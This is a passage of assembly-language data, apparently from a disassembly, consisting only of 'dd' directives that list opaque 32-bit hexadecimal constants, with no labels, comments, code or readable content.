		dd 0CCFC4940h, 7FB6AC6h, 2EDD320Dh, 7B9A009Eh, 0CA16F188h
		dd 14004651h, 4DCC6A19h, 2ACD0E7Ah, 0C09C045Bh,	91F2D0A3h
		dd 0A724FEC4h, 5000CE9Dh, 0D66022D5h, 1FD900D1h, 13981997h
		dd 8390CCF0h, 7658FAE0h, 5D7F07E4h, 0C580A042h,	488B33h
		dd 0CE90D994h, 8DFDD3C3h, 5315EE00h, 0B1D7501Bh, 784200EFh
		dd 5512F27Bh, 6A288508h, 2302B3B5h, 5E274DC5h, 0C6E4C187h
		dd 4A0BA420h, 6B4030Ch,	2998269Eh, 2473461Bh, 6B86DF00h
		dd 0EF2D756Eh, 5FA41D39h, 5D807DD7h, 66E08757h,	72006552h
		dd 0E6AC0216h, 0CC8A8Fh, 99470360h, 0E77D2128h,	0C9D6C8C0h
		dd 7FB37E17h, 90670010h, 68995D80h, 0C80BA727h,	807B46A0h
		dd 0B61D4044h, 0AB66007Ch, 0BA048CACh, 351858A9h, 0C46E2AE5h
		dd 0F7F885h, 0C044E9B9h, 3F30EDA1h, 83A01625h, 0D0F00A1Ch
		dd 1DF47Ah, 5CFDC33h, 0A52372D8h, 0C3B63C09h, 6CC4400Bh
		dd 0CE7B0114h, 0DCFCD737h, 5A8D02Fh, 65F7C700h,	0F4CFB393h
		dd 3BE40041h, 0BE16D5FBh, 40124E7h, 11D64AF5h, 0C7D41C81h
		dd 2F940179h, 0D1FC8A83h, 0B4F4F412h, 9D2A4100h, 75C068B0h
		dd 0A8320146h, 657A2981h, 79E97048h, 0C442AD06h, 205F7Fh
		dd 574B9AA9h, 16E6E768h, 1D603658h, 9400A0FAh, 1D030628h
		dd 9F4C02EBh, 0A97B9D5Ch, 52C64040h, 0B295F30Dh, 60E24843h
		dd 3089650h, 0E798561Dh, 6E80BE07h, 33000ECBh, 9B35E5A4h
		dd 2AA8972h, 12D3F232h,	0D8A0C9F0h, 0C7A175EEh,	0EA00B4E8h
		dd 8E91921Fh, 84CDABh, 6707ECE0h, 9780386Ah, 0D5310D03h
		dd 0C051F1A7h, 0C20E18h, 6ADE5D2h, 0F99C3711h, 0F11C3AE6h
		dd 0D5C3C653h, 0F02D5936h, 1E6A5C2h, 1AE5A2EBh,	80902937h
		dd 0BB7A0181h, 0F7D850h, 0CBF98566h, 0DBBCE7C1h, 0C0294C0h
		dd 2FF194Eh, 2C785303h,	0A7C0895Ch, 1800FA69h, 0AF23CB6h
		dd 39427Ah, 0BBFF7B15h,	67DDE38Dh, 3BF95700h, 0DC4822AAh
		dd 20F514B5h, 78009C7Ah, 5B360C1Dh, 0EC2C7549h,	0C003512Dh
		dd 80606B18h, 43E370h, 1E5B9A4Ch, 2093FC30h, 0EDE65100h
		dd 0BDE71032h, 70111398h, 0FC26020Dh, 12407502h, 0EF07B752h
		dd 10AD7658h, 180C8630h, 0F3A90ECCh, 1601BC2h, 3CAE1C93h
		dd 6F409109h, 62DEDBh, 315A45A3h, 4008146h, 7911334Dh
		dd 0A8141Dh, 0EF58E00Ah, 248E17BAh, 72A29100h, 62F3831Ah
		dd 972B000Bh, 0BEB7253Ch, 220076EDh, 0F2F6E378h, 1122DB9h
		dd 5AD4721Bh, 0C0A47F06h, 0D37375EAh, 930036B0h, 412CEE80h
		dd 3C0FC0F3h, 795988h, 3A78101Ah, 0F9B26BABh, 0BE0018E8h
		dd 0B51F354Bh, 797055h,	30A571E6h, 85261D66h, 0CB1FB170h
		dd 0AC40C540h, 290397E5h, 22F55848h, 7E528200h,	25DD3587h
		dd 88C6A128h, 6DD8D300h, 0B00B9408h, 34EE01BBh,	9F7238D0h
		dd 0F26AFC81h, 47FE421Ch
		dd 23EDFDC0h, 0F41CE524h, 0CB83007Bh, 0D254A861h, 0CE001156h
		dd 480CB046h, 828BF9h, 70DB5E2Ah, 0C599DE4Dh, 0B776531Ch
		dd 15AD100h, 1ABA08h, 0E707D5F4h, 0ED38A81Fh, 0B8AEDC00h
		dd 0B691EE6Fh, 30A63AC0h, 16870D00h, 0B0323F6Eh, 19006B78h
		dd 0E49ADCD7h, 2BB1C14h, 66751FEDh, 77C317F0h, 89615F88h
		dd 0C424CD00h, 7085A4EBh, 0C35D01C5h, 12D76DF0h, 1845F08Ch
		dd 5700207Ah, 0BED49B1Ch, 1E94F660h, 0B9DEE859h, 89135880h
		dd 500AE444h, 67087B00h, 5C03A5FFh, 8B88003Dh, 0B770D252h
		dd 12000609h, 75483107h, 1CD727C0h, 0FF61B29Ah,	9FB6EA00h
		dd 7A2BD8CDh, 8BFC595Eh, 8A95AB00h, 0D0BB98F2h,	0C0280600h
		dd 0D75DECBEh, 0A59A00D9h, 880EDAF0h, 0FC009871h, 1953D23Dh
		dd 5062C355h, 0DFC8EBh,	41E68F64h, 6AB59CB1h, 5B0A13B0h
		dd 0E08180BEh, 212B0A07h, 7DA72001h, 955D4084h,	0AB54805Eh
		dd 61053E5Ah, 9F4587D2h, 4F2CC4C0h, 5E3500A2h, 0E640E3D7h
		dd 290A638Ah, 0BCB41E56h, 0A4906600h, 38229ECBh, 3C000DDEh
		dd 0FE81FCD1h, 6900FBD6h, 45A83486h, 0F0E83E09h, 12F0247Dh
		dd 82CD1F50h, 0E7539F36h, 10878040h, 5628C00h, 0C75FFEA2h
		dd 2370057h, 0CF7B9895h, 7200BA6Dh, 0FAA1C29Ch,	246B2ACCh
		dd 2DC2643h, 78679F61h,	9A546760h, 0DC993B02h, 40F4C631h
		dd 2FE779h, 9DC013ACh, 70E80BD9h, 2C38E501h, 16B2147Fh
		dd 713E1CCh, 51129F93h,	9809A061h, 0B000043Ch, 2AA59401h
		dd 0DC1119h, 8C3EE777h,	6DE66CD7h, 0BB912707h, 49E01788h
		dd 24BEBDB0h, 210374Ch,	4DCA711Ah, 60C2BC48h, 76992700h
		dd 0B7813742h, 0D75A5h,	71B24AC7h, 5D9AFA17h, 49FC8F00h
		dd 0D0696B9Bh, 0BBA624ADh, 0C0E11CA6h, 0F877C026h, 0DB128E33h
		dd 101DDC35h, 107FA000h, 3FC788h, 45164CD6h, 0E05BAAE1h
		dd 0A8754105h, 0B04E0E28h, 476380A3h, 300316h, 0AC941D8Bh
		dd 530F0BD8h, 5EC48101h, 13B17889h, 90A1D4h, 4C39DD6Eh
		dd 0A3563567h, 92A43200h, 40D2C9FEh, 7A300064h,	0C311AF0Dh
		dd 7307F646h, 15C55034h, 64299F30h, 94AA0036h, 1E3AC8CDh
		dd 7700B21Bh, 7DFF5731h, 0B8519B20h, 64360137h,	0D8D5AE79h
		dd 0F9483097h, 0ED17E20Fh, 281C6060h, 39F4401h,	0B2374806h
		dd 0FF2EFADh, 0B1F0A5A0h, 51000309h, 0E33C110Bh, 1C9292Dh
		dd 7E5643C5h, 0FA1F608Eh, 2A954AE0h, 8CA9382Eh,	0DACF007h
		dd 658DF321h, 2DF10880h, 392B18CBh, 1707F8F2h, 0CEDD48AFh
		dd 0BF2278C0h, 0CFC100D5h, 0A45A4D5Fh, 8CE83579h, 0CE91AA26h
		dd 0DE256830h, 0F6540786h, 308B508Fh, 0D755B2ABh, 8909C900h
		dd 0F2935951h, 7D2D0136h, 7FB0564Dh, 7EA9ECD8h,	0CCAD907h
		dd 0A0603D63h, 0E7C9467h, 0E4F38195h, 10C88CAh,	6C55EB72h
		dd 0DE088E22h, 9787C040h, 95A7EFCh, 0C49C0793h,	4F52B007h
		dd 0C3727A40h, 4B180F77h, 6418A381h, 3A970388h,	47AE99D8h
		dd 0F39CA0C0h, 0AFC8B30Ah, 5A00FD58h, 363E95E3h, 0D79843h
		dd 0EA1214D3h, 9257AD1h, 0F21C38h, 5A759618h, 5868544h
		dd 0E658E14Fh, 6CBFC02Dh, 0C63D1A81h, 639061F2h, 80808EA1h
		dd 87653659h, 840C2D7Eh, 50F10886h, 0FC110083h,	9EB6DF57h
		dd 2E00330Fh, 643AE6A0h, 8581FEh, 6DFF682Dh, 35063C4Ch
		dd 0D2001872h, 6FF1E09Dh, 4626E1h, 3C1DF36Ch, 4BFC3E86h
		dd 4E187000h, 0B15A2422h, 0A5D900A3h, 19CABB59h, 0D4004391h
		dd 10E87189h, 2054CEh, 0EFD2CF5Bh, 32E6EE2Fh, 7160E04h
		dd 0BCC1D179h, 3D7074B7h, 0AF9F3BE1h, 5B6A00F8h, 0F82448D2h
		dd 34074155h, 454CA60Fh, 187BD130h, 0D3700B4h, 4881D264h
		dd 890035B2h, 0BDC6F33Dh, 0A8CF5DA4h, 1267D8h, 6BE797FCh
		dd 8C327A72h, 4ACDD4E9h, 2299F307h, 3660ACFDh, 9047535Eh
		dd 0C6270028h, 0B4B3BB96h, 6A2A5FDFh, 6801B8D8h, 0B2E377AAh
		dd 3EF88634h, 7E651D8Eh, 8B017B98h, 0BEC45F0h, 52CAE8BDh
		dd 0EED24707h, 6D346C6h, 136FC886h, 3153006Ah, 29C90AD4h
		dd 0AB0173C3h, 0B3179345h, 82C42543h, 40B66081h, 0C03D5E59h
		dd 0BA0EC63Ch, 0B8D98F73h, 80328BF5h, 0C43AB452h, 9CF367Fh
		dd 0D500C060h, 2561D983h, 6455D74h, 0F86EE5D0h,	3F031851h
		dd 0A5429E66h, 14A9A099h, 0BA563E91h, 6B0A2A89h, 0CC3DAE8Eh
		dd 6151893Ah, 2EABC80Eh, 0BD6BE775h, 0A712602Fh, 97BFFA20h
		dd 0DAB053F0h, 6CDD700Fh, 50A083A3h, 1FF9E1F7h,	1882E2FDh
		dd 62B7E3CDh, 128F7A00h, 5C540F81h, 2A55079h, 0A9B1810Eh
		dd 0DCF5F5EAh, 0FF31452Fh, 5B8908B6h, 40B5209Eh, 65DE96E9h
		dd 0AB4C9F35h, 0B838CAh, 8DAE0E63h, 7459823h, 838F038Ah
		dd 30804F52h, 97A8C3F4h, 42D79000h, 0D28818DEh,	2B01D2Eh
		dd 0F9F74078h, 58C73931h, 5990EB0Ch, 3E0B18D0h,	0FC053654h
		dd 805C7C4Eh, 53955224h, 73139301h, 0A9DE1B82h,	0F8FC24E1h
		dd 40D4015Ah, 575BABFFh, 7958C801h, 0A8779000h,	130C723Dh
		dd 64E800C6h, 41658C70h, 2A3A3ADFh, 53520048h, 40C41D9Eh
		dd 38CE3042h, 0A379D218h, 0A5F96B0Eh, 3937C08Dh, 0FFF19FECh
		dd 97C7E8D3h, 0F0730085h, 0DA41FDF4h, 8B01E318h, 36C55394h
		dd 0D7DC6FACh, 40AB6F02h, 482B6261h, 460A1CFh, 18444971h
		dd 20AC046Bh, 834D8B00h, 30D7DD96h, 0C6E662h, 2B13C99Dh
		dd 281648EEh, 40FD9F00h, 0CEE4E2D0h, 18F9009Ch,	0D168076Dh
		dd 0C906B1Ah, 17FC5A00h, 6E64984Fh, 3F910074h, 15B7E492h
		dd 0BC0E760Bh, 7F4004h,	0D0942B64h, 5BAF29C0h, 28AAC220h
		dd 2CFBA430h, 18F6FD9Eh, 678388BCh, 78D849h, 1E80BECDh
		dd 3C33C53Eh, 70145C7Ah, 150308E6h, 42389CBCh, 1B4A9AC0h
		dd 0B3D06800h, 5865564Eh, 3ADDF8A6h, 7E03E99Eh,	0A8FF4FE7h
		dd 34D525E8h, 2F60EE62h, 6DC80335h, 88E6FEDBh, 0B5327E05h
		dd 980F109Dh, 0ECF44107h, 0B448C5A7h, 756C180Ah, 3F95483Ah
		dd 8133093Fh, 301532A6h, 618F2BD8h, 0B17859A1h,	54001FCBh
		dd 10B702B8h, 7A4C09Fh,	0AB3E1CC7h, 0DF21D009h,	7B1F07C1h
		dd 0C800B04Ah, 16B331Fh, 88A730B7h, 0E927BD40h,	0AB37018Eh
		dd 0F080204Ah, 0C1101FA9h, 0AB20A036h, 7F683B0Dh, 20C5A242h
		dd 4DC8AF4Bh, 91E380h, 0AAD6EEF6h, 3F5986BBh, 47048203h
		dd 0C0AE2470h, 0FA9C3B2h, 11C46A57h, 8DF42880h,	770F02E4h
		dd 32C0ABFh, 0C2F0F15Bh, 24571880h, 0B9FC6D04h,	1F7CBEA2h
		dd 11AF988h, 0C158BBA0h, 0F84A142Fh, 78001CB7h,	0AC521F4Eh
		dd 50D7C7DAh, 7DDC40Ah,	0B1FC35ADh, 2BACCF1Ch, 582B49DCh
		dd 2D172034h, 0D9660AEEh, 0F4FD920h, 92CEE700h,	0FBC04B6Ch
		dd 74830346h, 60C4C6B2h, 18AC783Fh, 80B3D96Ah, 14360F7h
		dd 119698C5h, 0F08140E0h, 44DBADA3h, 3F406980h,	0C7206A10h
		dd 70F07820h, 84C8C49h,	16B77C0h, 35B4AC99h, 0BF6C2041h
		dd 218F070Ah, 0D8C58258h, 2BA04078h, 0B820B04Bh, 8A91C708h
		dd 0C02F5454h, 0B0675C7Eh, 59BAA860h, 0D605CBC7h, 0F7D8E35Fh
		dd 200005C5h, 5C8C1EE6h, 2AAE0353h, 0FA4BF2E4h,	4C5F9DE0h
		dd 3381948h, 6087D122h,	0C2CE93BAh, 0FA209BD9h,	2150E1A6h
		dd 5E21205Bh, 0F32AEAE0h, 0CF114772h, 0BBE050B2h, 1BFB8F81h
		dd 0A71E009Ch, 28575DD1h, 61EA888Fh, 0A212750h,	638C8BBDh
		dd 0CAA2F140h, 0CF0E2094h, 0B1EAD1FEh, 41E46F2h, 0B69CF045h
		dd 43DA7C29h, 19B7825Eh
		dd 988095B3h, 0C1641FEh, 0F9F69300h, 0B2705A77h, 80A8990Fh
		dd 7F30AB22h, 4285F25Ch, 0C8651881h, 0F2B24030h, 0AE11232Bh
		dd 52A885E7h, 0ECF02860h, 40D3242Bh, 207089C5h,	7274AA8Fh
		dd 80256F46h, 0F190B94Fh, 10A279Dh, 0B086AA87h,	3ED6658Eh
		dd 601E4D29h, 0BCD2E747h, 4220BC7Eh, 0AB2EC051h, 23532FB5h
		dd 55E2A9D9h, 1168C409h, 8A8D228h, 53DA12EFh, 0FC4324A8h
		dd 50CAC921h, 308504C3h, 42D75E40h, 0E1A8E723h,	0BF153B3h
		dd 10A6701Eh, 52D5A9FBh, 8942050Eh, 6078BEE6h, 8220A59Bh
		dd 14D78A11h, 75340BCh,	2385C080h, 8FBEB0B5h, 0B320EB94h
		dd 9F9C2BBFh, 0F1AFC220h, 0BC98A300h, 0AB28C2C6h, 2CCCD026h
		dd 6B781B02h, 0C57606F2h, 8B3B45CCh, 54C4CECh, 86B28081h
		dd 587F2078h, 0DB824C48h, 4701021Dh, 4837D836h,	9A299807h
		dd 72F858F3h, 40689962h, 0A8291EE3h, 11CF9A11h,	4A6196F1h
		dd 0F6B30520h, 4078DFDAh, 88614CAAh, 271252E1h,	0E0CC02E8h
		dd 3EAE2DD6h, 808F126h,	117E0670h, 0F2A9FF7Ah, 82096EDh
		dd 8DA843A2h, 9F52154h,	0F30680C1h, 2160BCD6h, 8A401E39h
		dd 11E0FFAAh, 0F2C152D7h, 0A20963Dh, 23692ECDh,	0C41F140h
		dd 22BD12AFh, 0C58200C6h, 49C4013h, 436AC90Fh, 8E26980Bh
		dd 48F0075Eh, 81BA7203h, 0E0D8C1A4h, 20A4426Ch,	21828538h
		dd 0BA0519Fh, 0DBA37F00h, 1CDF3427h, 0FC68888Fh, 7BC2D50h
		dd 5DA64B90h, 0F259103h, 5C72EC3Ch, 0ABB5BF01h,	75993404h
		dd 782A9DE0h, 0A9E893h,	2D53F16Ah, 0FB01EF27h, 3A75CA11h
		dd 0AC6D94F0h, 0F0CC018Eh, 0C1186E86h, 0A1081F35h, 0F85B9317h
		dd 477888B0h, 1865C44Dh, 8B784B38h, 8440CE57h, 24282B69h
		dd 96AFEF02h, 3E4C1534h, 7E206D57h, 0E6F4EF05h,	40789E9Ch
		dd 60025259h, 2FF2C380h, 948F3A79h, 2AB0205Dh, 0A257AAB4h
		dd 5A618840h, 0B0438000h, 20AFB44Eh, 70187108h,	955244C5h
		dd 202AB7A0h, 11BF0F58h, 0F33A9887h, 81C10039h,	17E71511h
		dd 0D74C8CD1h, 0EF8F1FD2h, 7483CD01h, 54200710h, 0A910CB6h
		dd 0D5513598h, 1E00A242h, 0FCD0AF03h, 10047EFh,	0E94E0F80h
		dd 1834E71Fh, 0A0123A82h, 54285C7Eh, 0F63028FBh, 271F181Ch
		dd 0E920A4B0h, 0BE58181Ah, 304AA078h, 70E0E351h, 0C640AE14h
		dd 0A92133B6h, 22E17E19h, 0A0708F66h, 31E12C42h, 75D801EAh
		dd 0D97BE684h, 19788EF0h, 8209603Dh, 61045C28h,	0FD75389Eh
		dd 0FC20878Dh, 0D950A4C1h, 0BBFB58h, 7D6AECB4h,	1C4BF7F6h
		dd 0F5708800h, 11427E1Fh, 0BC2F4FD5h, 0AE807F1h, 8D2047E9h
		dd 0DB62257h, 5816EF8Ch, 7FFEF0E8h, 7381BE00h, 0DDD090A8h
		dd 2903F0F4h, 80C884F5h, 7680DEA9h, 83EF41D0h, 9C0A6820h
		dd 6A6801D7h, 564B115Dh, 4DE4401Ch, 3100FB8Bh, 7F3323A3h
		dd 0D6ADC6h, 7A1D864Fh,	783A764Eh, 4702220Ch, 52A1806Fh
		dd 281DF062h, 4CCC00A8h, 0B5CF5B6Ah, 29A11E00h,	0FB17A00Ch
		dd 0DED000F8h, 35C90AE7h, 6A008378h, 0DAB47F8Ch, 1F17C6B6h
		dd 146F50A1h, 0A081A484h, 4001AEAAh, 5F8D8EE4h,	0A5186E6Fh
		dd 8400FF94h, 0D8D52FE9h, 70AA1BBAh, 0AF985876h, 0DFF62D02h
		dd 0E0048F03h, 2F12623h, 839E8D31h, 888587C2h, 7CD440E7h
		dd 5AEDF442h, 0F56028D9h, 6A147210h, 5C99DB24h,	84F6EC01h
		dd 8882FD54h, 0F75E79D8h, 0DE111040h, 0BCA6D928h, 8390473Fh
		dd 0F1305588h, 4F7900E8h, 0DAC4B6Bh, 720014E4h,	92CBAD34h
		dd 52A2C004h, 0B9E8A871h, 0FD6022ECh, 0FE71FAE0h, 6280C14Eh
		dd 85A51D98h, 1F84F4F9h, 9CEFFC00h, 0CCDD52A9h,	16F9F6C8h
		dd 80263800h, 0F490DF1Ah, 0E9A714Bh, 342C7532h,	9C1C8054h
		dd 0ACA93Ah, 925902BCh,	793005C5h, 0B57619EDh, 40A8E43Bh
		dd 4C88A1DCh, 2A39DEDEh, 70900CE0h, 48A0FFB2h, 20F74537h
		dd 9F09BFA1h, 0D0B65040h, 0EB47459h, 0E7C08CA1h, 0B03EB78Fh
		dd 47F5C221h, 0E612CE7Eh, 984751D8h, 92F0C34Eh,	68DF4FE3h
		dd 94D42082h, 6206608Dh, 0E17E149Bh, 0CF0091h, 77622495h
		dd 500924B4h, 2CA880A4h, 808497CEh, 0F28B14Ch, 80F7336Dh
		dd 13E454B7h, 604570ADh, 912668E7h, 711DA5C1h, 3070438Ch
		dd 24F3C610h, 8F48057Bh, 288086D8h, 2A5AD11h, 0D8808090h
		dd 70908B35h, 0BD4B6812h, 0D9B72430h, 0A304014Ah, 7BDF4D94h
		dd 37D984E8h, 1097B895h, 0B8404875h, 2CD1936Ah,	842D043Dh
		dd 88A9B7C8h, 0D8022FB4h, 3F6293ADh, 6A60405Ah,	9AC0726h
		dd 8E22FE98h, 0AFF2D82h, 0F2F03658h, 0CB934C00h, 0F6308F85h
		dd 7A8214E2h, 9100E4D1h, 28EFB52h, 3B003477h, 4E049ED9h
		dd 60B871E8h, 6BBA904Ch, 5891F4AFh, 18620411h, 8413BC7Bh
		dd 57D2F330h, 6C100C89h, 0DF3EB578h, 0A78A01C6h, 0A664563h
		dd 0C8855EF1h, 42124170h, 3D34380h, 0A984A087h,	38A2E407h
		dd 0F0048D13h, 0A4008FC3h, 2322EC76h, 2A18F162h, 1F1C108Dh
		dd 44824840h, 52646FAh,	0CF029466h, 6888E05Eh, 88A57958h
		dd 6B593428h, 0F49878ACh, 96CEA44h, 0CC84BB80h,	6E218002h
		dd 7E9424B8h, 8A861D0h,	8E93DD2Bh, 491FE0Ah, 0C59AC983h
		dd 0EDC33010h, 0A830E79Eh, 6FC76119h, 66790ADEh, 42803D50h
		dd 0FF10F6B1h, 28C98ECh, 0A945D54h, 0FC80BEB4h,	0ED95111Eh
		dd 1A024492h, 0FA7AA0F6h, 0CCA480E2h, 60D983B3h, 0ABE488ADh
		dd 0E28806Ah, 206E8E6h,	29F15EC2h, 0CFB20EC0h, 9A0C5C7Fh
		dd 0A74C1CE8h, 3CED29E3h, 2322F404h, 180ED921h,	5312212Eh
		dd 0C2AEDD08h, 0C118FE4Ah, 0B8108C2Ah, 9F84ABCCh, 0C2A861EAh
		dd 13C97851h, 0AF213618h, 3C511434h, 32F1CAC4h,	0C078800Dh
		dd 40673417h, 0E262472Bh, 2FFFBE31h, 90945B20h,	0E0002B44h
		dd 24E11AC4h, 0EC15F0h,	9143EBA4h, 0E5392D27h, 0AC8009F0h
		dd 0F110F9BCh, 44303FA1h, 29EE2073h, 9CB60070h,	1B4335B5h
		dd 7001DF2h, 9B054E81h,	0E4DA2434h, 2230A694h, 2A1D1671h
		dd 7B00E685h, 97D6152Bh, 0EF5B3083h, 9EAEBBA0h,	614DEA00h
		dd 9BFA7B19h, 4BC71EE2h, 78451829h, 0F33FCC5Dh,	0B7E6008Ah
		dd 64E33E34h, 332C0081h, 154E6E54h, 4B07BAD4h, 1C735778h
		dd 329C001Fh, 7835E7Ch,	0E585E243h, 0F0E7819Fh,	372BE04Bh
		dd 0F259B200h, 0D3EF615Dh, 11F000Ah, 7C30BD10h,	1CA48222h
		dd 4C117F10h, 0FDCCFF30h, 92066154h, 30EA086Ah,	7EBCF02Ah
		dd 0CBD92926h, 2E020458h, 38B62203h, 87420C27h,	858DF611h
		dd 3C448333h, 2F40F99Dh, 65E9B208h, 18C08468h, 641DAF08h
		dd 10A92689h, 887CCB90h, 0EF0540CDh, 42F32E33h,	18816DACh
		dd 85DD2D0h, 756CA6C1h,	110B42FEh, 949E4CDEh, 4AC4C410h
		dd 0C7F6418Ch, 0D99470A4h, 0A7101810h, 544EC862h, 9064AF21h
		dd 10849156h, 0FDC4B737h, 0D46061FBh, 6CA6E90Ch, 64DF8E10h
		dd 637B6684h, 0E631A40Bh, 2F3C4884h, 84BEB21h, 40C1FC4Dh
		dd 9908846Eh, 41D6108Eh, 4E768403h, 0C06F761h, 4C4621A3h
		dd 781E0F8Ah, 0C63C7194h, 0F6F1F9ECh, 83F33312h, 1480101Ch
		dd 94DE2B3Bh, 0B649803Dh, 5E3CC839h, 0A6B70065h, 3435ED22h
		dd 0E20F9669h, 0E0085999h, 0B75C63E9h, 11460C49h, 0A611D5C8h
		dd 1EC72B1Fh, 95D6B280h, 1EFA8699h, 80C52FE0h, 0A47AD3A9h
		dd 0B8F53348h, 612BB11Eh, 10C4F19h, 70986B44h, 82A41E11h
		dd 0C073188Dh, 9E888423h, 983C0025h, 428AB9AFh,	7303FAEAh
		dd 0C27ACCE4h, 567910E1h
		dd 0E2F0883Eh, 111992D9h, 7F202C1Ch, 8DA40084h,	0C54522B9h
		dd 5700A683h, 0B31B8566h, 505C3C01h, 50AB98A4h,	38A6A4FBh
		dd 490F0B86h, 258043C8h, 1B8988AFh, 0A812571Fh,	0BA408ADCh
		dd 82EE6019h, 3B1D19A6h, 58BCD9F8h, 0B83BFA24h,	0A3251055h
		dd 0BA31BBCCh, 495C2233h, 2DAFE255h, 7E581260h,	1E866C23h
		dd 0E1EC658h, 7407C589h, 0DF83808Dh, 0B950FBFAh, 0B2E0BCA0h
		dd 310028DFh, 551C33C5h, 0F67038Dh, 4535B32Ah, 409488D1h
		dd 0B63B41A8h, 343859C0h, 144ED92Eh, 946257ADh,	5C6899C2h
		dd 340E1816h, 4873E056h, 34072780h, 1981B8CAh, 8AB4A89Fh
		dd 147F2511h, 6437F700h, 76C1DA31h, 0E90FFE99h,	1C030820h
		dd 0CBB56DBh, 2F388F93h, 9DEF0A0Bh, 380001Ch, 0A08689DAh
		dd 2A3A5588h, 36CC8168h, 18309038h, 34B94814h, 0C432C4A4h
		dd 10127C14h, 0F34C01B6h, 214F14FAh, 86299334h,	92013FF0h
		dd 28599830h, 5CC9DBAh,	4041878Ah, 7C98205Dh, 0A4A1C9CCh
		dd 37ACD0B1h, 0E12CAA32h, 3468806Ch, 6003E164h,	54875196h
		dd 88829382h, 341C6084h, 2F790D58h, 9D283A0Bh, 60974980h
		dd 9A084175h, 1153E730h, 0F63EDBh, 7CA3E55Ch, 18AAD31Fh
		dd 0B4B1A000h, 0A9546A81h, 58270F76h, 4B811073h, 8FC7FBCDh
		dd 805CEB30h, 0FD8DDEDDh, 2A10C0A6h, 483E6D08h,	10FF30A9h
		dd 88E22F74h, 0CB602A85h, 0D7711618h, 0DEC207B1h, 432FA2EDh
		dd 0A0B75263h, 0ACEF0D93h, 3272970Fh, 20AF00C8h, 0D468F7h
		dd 0B0E190B6h, 0EB42FE44h, 3990967Ah, 60CB0E00h, 0E19913C0h
		dd 0C9750CCh, 0D1080309h, 0B1237D8Fh, 2084F6C7h, 7F787BB0h
		dd 0CB333A15h, 610A7818h, 0A019E3C8h, 3EC32100h, 398B8CCDh
		dd 8300D11Fh, 20B552A4h, 391FC5E1h, 8E409D5Fh, 1A1E9656h
		dd 0B86019F5h, 0E8EC8828h, 5807E778h, 1F55A50Eh, 8295B2D2h
		dd 2FD4414h, 10139724h,	14B0C8h, 9D73D47Eh, 1EFEC31Eh
		dd 0C0065E54h, 2A19F6DAh, 3F03C910h, 13529149h,	38F180DFh
		dd 0D1440C5Fh, 1A185C17h, 0AC406A60h, 69F63033h, 4E071009h
		dd 0C7B9A173h, 2128834Eh, 69604EFh, 6BC92ED0h, 8B081853h
		dd 123B0F8h, 0FF9EAF1Eh, 0E1944086h, 0D600970h,	0CF2028A8h
		dd 2882E78Dh, 1475A07Ah, 95BAA0A2h, 0B12448ACh,	704051C2h
		dd 45A8A116h, 36E03F46h, 6F10C07Eh, 140BCAA2h, 0B353C1C0h
		dd 1F704AE1h, 0F2E19C3h, 497838DFh, 7D4027C8h, 5A4B028Bh
		dd 93E7D9D7h, 2E6AB481h, 0B52C4159h, 971FF0FBh,	0F3D85354h
		dd 36C2D103h, 0E320A987h, 90707C6Fh, 541DEBFh, 205E78A3h
		dd 9A982B24h, 0B30A4C90h, 48352354h, 87A10882h,	7113007Ch
		dd 21607869h, 0DAE07548h, 6F3D029Eh, 19EB627Ah,	604430A1h
		dd 1AF18029h, 32A6A4C9h, 7F08A87Dh, 48E617D1h, 0E12503E9h
		dd 86C410F6h, 0A518A84Bh, 5F5112F7h, 80F31F6Fh,	0CADC0C0Eh
		dd 8F001E19h, 2601E940h, 1213AC5Fh, 0C44B294h, 0FD694B60h
		dd 2B514206h, 311983Dh,	0FC104E9Bh, 0B000F6C5h,	1B6F67ADh
		dd 8815A6A2h, 1401D502h, 0DAEB202Fh, 19A842A1h,	48941094h
		dd 50349030h, 0B842F9E8h, 53C2CB04h, 20388C8Dh,	0EB97B702h
		dd 4E666B8Fh, 832B1408h, 0CB05C0ACh, 10CE970h, 73D59588h
		dd 14A8971Dh, 8F9E1202h, 1058490Dh, 3D03EDFDh, 0FC34F0D8h
		dd 1D289892h, 0BC3A581Ah, 1C8F8C90h, 24EB388Ah,	6F7B1C3h
		dd 280B6CCCh, 208BFE2Ah, 10244030h, 0F02FE8C3h,	0CCEE3A16h
		dd 2A58B8FBh, 3D0F7DFh,	5FE27523h, 182AE821h, 4012A8C3h
		dd 3812A0EDh, 6C98440Fh, 51897858h, 0C3EC10F5h,	700B0AD6h
		dd 11A494A7h, 0D9AE0F80h, 0ABA20525h, 2218881Eh, 8994A020h
		dd 73B1E324h, 3D119396h, 0AAF24406h, 0D2D55031h, 3618A1A3h
		dd 7C2820A2h, 328E3E4Bh, 503511E6h, 16189B50h, 8093DA80h
		dd 0F7607EEBh, 64DCC7B8h, 0BB692A7Ah, 0DA8C08DCh, 0E1007695h
		dd 0E602E460h, 7A84A856h, 719A2470h, 0B58D039Ch, 51B9B33Fh
		dd 0E4CC20BCh, 8955B1C0h, 5D82A8h, 0AD6978FBh, 0EACADF70h
		dd 87D19304h, 0ECC4C1FCh, 1A84B081h, 825AF407h,	0F4A353B8h
		dd 0D690A0D8h, 39020E5Dh, 4498AC30h, 4F184059h,	60F78020h
		dd 95961C12h, 0CD515000h, 98ECE93h, 22A1DBB3h, 1D58CCAAh
		dd 6205200Ch, 0F5DF03B5h, 0D143F841h, 7C306C77h, 0CE6B00C6h
		dd 0AB9B3F04h, 55600E59h, 74F88F18h, 11C9089h, 0EAC3CEACh
		dd 9159D283h, 7D1220B0h, 145052FAh, 0D8334C8h, 35C18690h
		dd 0C20412Eh, 17A098AAh, 92662B31h, 0CFCB0114h,	4713F5F3h
		dd 3F5826D6h, 6653000Dh, 38D4BDDh, 2EC8A80Ch, 800B7AB9h
		dd 0F8A8D217h, 0B49803F5h, 0BF01C818h, 76CB05F8h, 0ECC13ECEh
		dd 461AE9Ch, 83E102F0h,	813E832Ch, 0B2414A5h, 0B5317CC8h
		dd 4A13195Fh, 43083AC7h, 80B9EEB4h, 0DF3D0C0h, 0E11208A0h
		dd 0C87AACA8h, 0A337EE16h, 34935C00h, 77AE38A4h, 0A18E37CDh
		dd 20AC83A9h, 0E064C9C4h, 0DF047DBh, 94B908A1h,	2018B220h
		dd 4C3450DFh, 0C0A40147h, 31831D7Ch, 119EF8EAh,	0B0FADF12h
		dd 0B73E6003h, 238AD094h, 0CE7D15C0h, 0CB30D83Ch, 1C9B0838h
		dd 0C45000B0h, 7D05400Ch, 0A6B4FC4Bh, 0EA52F081h, 32106C20h
		dd 9E184D28h, 2427E049h, 0BC99EBB8h, 1A581D05h,	6FA12181h
		dd 0A323989h, 508D420h,	5671E893h, 9B8F720Ah, 6E165C14h
